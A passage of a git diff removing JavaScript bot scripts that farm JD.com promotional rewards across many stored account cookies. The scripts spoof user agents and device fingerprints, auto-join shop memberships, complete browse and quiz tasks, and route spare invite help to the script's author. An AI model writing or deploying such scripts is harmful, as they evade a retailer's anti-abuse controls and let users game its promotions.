if($.bean > 0){ - allMessage += `【京东账号${$.index}】${$.nickName || $.UserName}\n本次运行获得${$.bean}京豆\n` - } - if(false){ - $.log($.pin) - $.log("当前助力:"+friendPin) - if($.pin){ - $.shareArr.push({"friendPin":$.pin,"count":friendCount,'index':$.index}) - }else if($.index === 1){ - console.log('账号1获取不到[friendPin]退出执行,请重新执行') - return - } - if(toFriend == 1 && $.index !== 1) updatefriend(friendPin,1) - if($.index === 1) updatefriend(friendPin,0) - } - await $.wait(parseInt(Math.random() * 2000 + 5000, 10)) - } catch (e) { - console.log(e) - } -} - -function updatefriend(id,type) { - let index = 0 - for(let i in $.shareArr){ - if($.shareArr[i] && $.shareArr[i].friendPin == id){ - index = i - break - } - } - if(type == 1) $.shareArr[index].count++ - if($.shareArr[index].count >= 3 || type == 0){ - console.log(`助力码[${$.shareArr[index].friendPin}] 已邀请${$.shareArr[index].count}`) - for(let i in $.shareArr){ - if($.shareArr[i] && $.shareArr[i].count < 3){ - friendPin = $.shareArr[i].friendPin - console.log(`更新助力码[${friendPin}] 账号${$.shareArr[i].index} 已邀请${$.shareArr[i].count}`) - break - } - } - } -} -async function takePostRequest(type) { - if($.hotFlag) return - let url = ''; - let body = ``; - let method = 'POST' - switch (type) { - case 'doTask': - url = `https://jdjoy.jd.com/module/freshgoods/doTask`; - body = `code=${configCode}&taskType=${$.oneTask.taskType}&taskId=${$.oneTask.taskId}&eid=${$.eid}&fp=${$.fp}${$.itemId && "&itemId="+$.itemId || ""}&friendPin=${encodeURIComponent(friendPin)}` - break; - default: - console.log(`错误${type}`); - } - let myRequest = getPostRequest(url, body, method); - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if (err) { - if(resp && resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err,err)}`) - console.log(`${type} API请求失败,请检查网路重试`) - } else { - dealReturn(type, data); - } - } catch (e) { - // console.log(data); - console.log(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function dealReturn(type, data) { - let res = '' - try { - res = JSON.parse(data); - } catch (e) { - console.log(`${type} 执行任务异常`); - console.log(data); - $.runFalag = false; - } - switch (type) { - case 'doTask': - if(typeof res == 'object' && res.success && res.success === true){ - toFriend = 1 - let msg = '' - if(res.data && res.data.rewardBeans > 0) msg += res.data.rewardBeans+'京豆' - if(res.data && res.data.rewardPoints > 0) msg += res.data.rewardPoints+'心动值' - console.log(`获得: ${msg || data}`) - }else if(typeof res == 'object' && res.errorMessage){ - if(res.errorMessage == '任务已完成') $.runFalag = false - console.log(`${type} ${res.errorMessage || ''}`) - }else{ - console.log(`${type} ${data}`) - } - break; - default: - console.log(`${type}-> ${data}`); - } - if(typeof res == 'object' && res.errorMessage){ - if(res.errorMessage.indexOf('火爆') >-1 ){ - $.hotFlag = true - } - } -} - -function getPostRequest(url, body, method="POST") { - let ck = cookie - let host = '' - let headers = { - "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - 'Cookie': `${ck}`, - "X-Requested-With": "XMLHttpRequest", - "User-Agent": `${UA || $.UA}` , - } - if(method == "POST"){ - headers["Content-Type"] = "application/x-www-form-urlencoded" - headers["Accept"] = "application/json" - } - // console.log(headers) - // console.log(headers.Cookie) - return {url: url, method: method, headers: headers, body: body, timeout:30000}; -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, - 'Cookie': cookie - } - } -} -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401`, - 'Cookie': cookie - } - } -} -function getMyTask(type) { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/getMyTask?code=${configCode}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - if(type == 1){ - $.pin = res.data.pin || '' - $.taskList = res.data.myTasks || [] - }else if(type == 2){ - resolve(res.data.myTasks || []) - } - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} -function getMyRewards() { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/getMyRewards?code=${configCode}&friendPin=${encodeURIComponent(friendPin)}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - $.totalBeans = res.data.totalBeans - $.totalPoints = res.data.totalPoints - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} -function getActivity() { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/getActivityPage?code=${configCode}&friendPin=${encodeURIComponent(friendPin)}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - $.remainPoints = res.data.remainPoints - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} -function draw() { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/draw?code=${configCode}&eid=${$.eid}&fp=${$.fp}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - let msg = '' - msg = res.data.rewardNum || '' - if(res.data.rewardType == 1){ - msg += '京豆' - $.bean += Number(res.data.rewardNum) - }else if(res.data.rewardType == 4){ - msg += '心动值' - }else{ - msg = res.data.rewardName || data - } - console.log(`抽奖获得:${msg || '空气💨'}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -async function getUA(){ - $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` - let arr = await Faker.getBody($.UA,`https://h5.m.jd.com/babelDiy/Zeus/42CC2AdvzUnXheP1CmTXrm7vHYSp/index.html?code=${configCode}`) - $.fp = arr.fp - await getEid(arr) -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - diff --git a/backUp/gua_carnivalcity.js b/backUp/gua_carnivalcity.js deleted file mode 100644 index 2d3c58e..0000000 --- a/backUp/gua_carnivalcity.js +++ /dev/null @@ -1,864 +0,0 @@ -/* -京东手机狂欢城活动 -活动时间: 2021-8-9至2021-8-28 -活动入口:暂无 [活动地址](https://carnivalcity.m.jd.com) - -往期奖励: -a、第1名可获得实物手机一部 -b、 每日第2-10000名,可获得50个京豆 -c、 每日第10001-30000名可获得20个京豆 - - -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===================quantumultx================ -[task_local] -#京东手机狂欢城 -0 0-18/6 * * * gua_carnivalcity.js, tag=京东手机狂欢城, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=====================Loon================ -[Script] -cron "0 0-18/6 * * *" script-path=gua_carnivalcity.js, tag=京东手机狂欢城 - -====================Surge================ -京东手机狂欢城 = type=cron,cronexp=0 0-18/6 * * *,wake-system=1,timeout=3600,script-path=gua_carnivalcity.js - -============小火箭========= -5G狂欢城 = type=cron,script-path=gua_carnivalcity.js, cronexpr="0 0,6,12,18 * * *", timeout=3600, enable=true -*/ -const $ = new Env('京东手机狂欢城'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -//IOS等用户直接用NobyDa的jd cookie - -let cookiesArr = [], cookie = '', message = '', allMessage = ''; - - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let inviteCodes = []; -$.shareCodesArr = []; -const JD_API_HOST = 'https://api.m.jd.com/api'; -const activeEndTime = '2021/08/28 00:00:00+08:00';//活动结束时间 -let nowTime = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - $.temp = []; - if (nowTime > new Date(activeEndTime).getTime()) { - //活动结束后弹窗提醒 - $.msg($.name, '活动已结束', `该活动累计获得京豆:${$.jingBeanNum}个\n请删除此脚本\n咱江湖再见`); - if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); - return - } - await updateShareCodesCDN(); - await requireConfig(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.jingBeanNum = 0;//累计获得京豆 - $.integralCount = 0;//累计获得积分 - $.integer = 0;//当天获得积分 - $.lasNum = 0;//当天参赛人数 - $.num = 0;//当天排名 - $.beans = 0;//本次运行获得京豆数量 - $.blockAccount = false;//黑号 - message = ''; - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - getUA() - await shareCodesFormat(); - await JD818(); - } - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.canHelp = true;//能否助力 - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - if ((cookiesArr && cookiesArr.length >= 1) && $.canHelp) { - console.log(`\n先自己账号内部相互邀请助力\n`); - for (let item of $.temp) { - console.log(`\n${$.UserName} 去参助力 ${item}`); - const helpRes = await toHelp(item.trim()); - if (helpRes.data.status === 5) { - console.log(`助力机会已耗尽,跳出助力`); - $.canHelp = false; - break; - } - } - } - if ($.canHelp) { - console.log(`\n\n如果有剩余助力机会,则给作者以及随机码助力`) - await doHelp(); - } - } - } - // console.log(JSON.stringify($.temp)) - if (allMessage) { - if ($.isNode()) { - await notify.sendNotify($.name, allMessage, { url: "https://carnivalcity.m.jd.com" }); - $.msg($.name, '', allMessage); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function JD818() { - try { - await indexInfo();//获取任务 - await supportList();//助力情况 - await getHelp();//获取邀请码 - if ($.blockAccount) return - // await indexInfo(true);//获取任务 - await doHotProducttask();//做热销产品任务 - await doBrandTask();//做品牌手机任务 - await doBrowseshopTask();//逛好货街,做任务 - // await doHelp(); - await myRank();//领取往期排名奖励 - await getListRank(); - await getListIntegral(); - await getListJbean(); - await check();//查询抽奖记录(未兑换的,发送提醒通知); - await showMsg() - } catch (e) { - $.logErr(e) - } -} -async function doHotProducttask() { - $.hotProductList = $.hotProductList.filter(v => !!v && v['status'] === "1"); - if ($.hotProductList && $.hotProductList.length) console.log(`开始 【浏览热销手机产品】任务,需等待6秒`) - for (let item of $.hotProductList) { - await doBrowse(item['id'], "", "hot", "browse", "browseHotSku"); - await $.wait(1000 * 6); - if ($.browseId) { - await getBrowsePrize($.browseId) - } - } -} -//做任务 API -function doBrowse(id = "", brandId = "", taskMark = "hot", type = "browse", logMark = "browseHotSku") { - $.browseId = '' - return new Promise(resolve => { - const body = {"brandId":`${brandId}`,"id":`${id}`,"taskMark":`${taskMark}`,"type":`${type}`,"logMark":`${logMark}`}; - const options = taskPostUrl('/khc/task/doBrowse', body) - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`doBrowse 做${taskMark}任务:${data}`); - data = JSON.parse(data); - if (data && data['code'] === 200) { - $.browseId = data['data']['browseId'] || ""; - } else { - console.log(`doBrowse异常`); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//领取奖励 -function getBrowsePrize(browseId, brandId = '') { - return new Promise(resolve => { - const body = {"browseId":browseId, "brandId":`${brandId}`}; - const options = taskPostUrl('/khc/task/getBrowsePrize', body) - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`getBrowsePrize 领取奖励 结果:${data}`); - data = JSON.parse(data); - if (data && data['code'] === 200) { - if (data['data']['jingBean']) $.beans += data['data']['jingBean']; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -// 关注 -function followShop(browseId, brandId = '') { - return new Promise(resolve => { - const body = {"id":`${browseId}`, "brandId":`${brandId}`}; - const options = taskPostUrl('/khc/task/followShop', body) - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`followShop 领取奖励 结果:${data}`); - data = JSON.parse(data); - if (data && data['code'] === 200) { - if (data['data']['jingBean']) $.beans += data['data']['jingBean']; - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -async function doBrandTask() { - for (let brand of $.brandList) { - await brandTaskInfo(brand['brandId']); - } -} -function brandTaskInfo(brandId) { - const body = {"brandId":`${brandId}`}; - const options = taskPostUrl('/khc/index/brandTaskInfo', body) - $.skuTask = []; - $.shopTask = []; - $.meetingTask = []; - $.questionTask = {}; - return new Promise( (resolve) => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = $.toObj(data); - if (data.code === 200) { - let brandId = data['data']['brandId']; - $.skuTask = data['data']['skuTask'] || []; - $.shopTask = data['data']['shopTask'] || []; - $.meetingTask = data['data']['meetingTask'] || []; - $.questionTask = data['data']['questionTask'] || []; - let flag = true - for (let sku of $.shopTask.filter(vo => !!vo && vo['status'] !== '4')){ - if(flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) - if(flag) flag = false - console.log(`开始浏览 1-F 关注 任务 ${sku['name']}`); - if(sku['status'] == 3){ - await followShop(sku['id'], brandId); - }else if(sku['status'] == 8){ - await doBrowse(sku['id'], brandId, "brand", "follow", "browseShop"); - await $.wait(1000 * 6); - if ($.browseId) await getBrowsePrize($.browseId, brandId); - }else{ - console.log(`未知任务状态 ${sku['status']}`) - } - } - flag = true - for (let sku of $.skuTask.filter(vo => !!vo && vo['status'] !== '4')){ - if(flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) - if(flag) flag = false - console.log(`开始浏览 2-F 单品区 任务 ${sku['name']}`); - await doBrowse(sku['id'], brandId, "brand", "presell", "browseSku"); - await $.wait(1000 * 6); - if ($.browseId) await getBrowsePrize($.browseId, brandId); - } - flag = true - for (let sku of $.meetingTask.filter(vo => !!vo && vo['status'] !== '4')){ - if(flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) - if(flag) flag = false - console.log(`开始浏览 3-F 综合区 任务 ${sku['name']},需等待10秒`); - await doBrowse(sku['id'], brandId, "brand", "meeting", "browseVenue"); - await $.wait(10500); - if ($.browseId) await getBrowsePrize($.browseId, brandId); - } - flag = true - if ($.questionTask.hasOwnProperty('id') && $.questionTask['result'] === '0') { - if(flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) - if(flag) flag = false - console.log(`开始做答题任务 ${$.questionTask['question']}`); - let result = 0; - for (let i = 0; i < $.questionTask['answers'].length; i ++) { - if ($.questionTask['answers'][i]['right']) { - result = i + 1;//正确答案 - } - } - if (result !== 0) { - await doQuestion(brandId, $.questionTask['id'], result); - } - } - } else { - 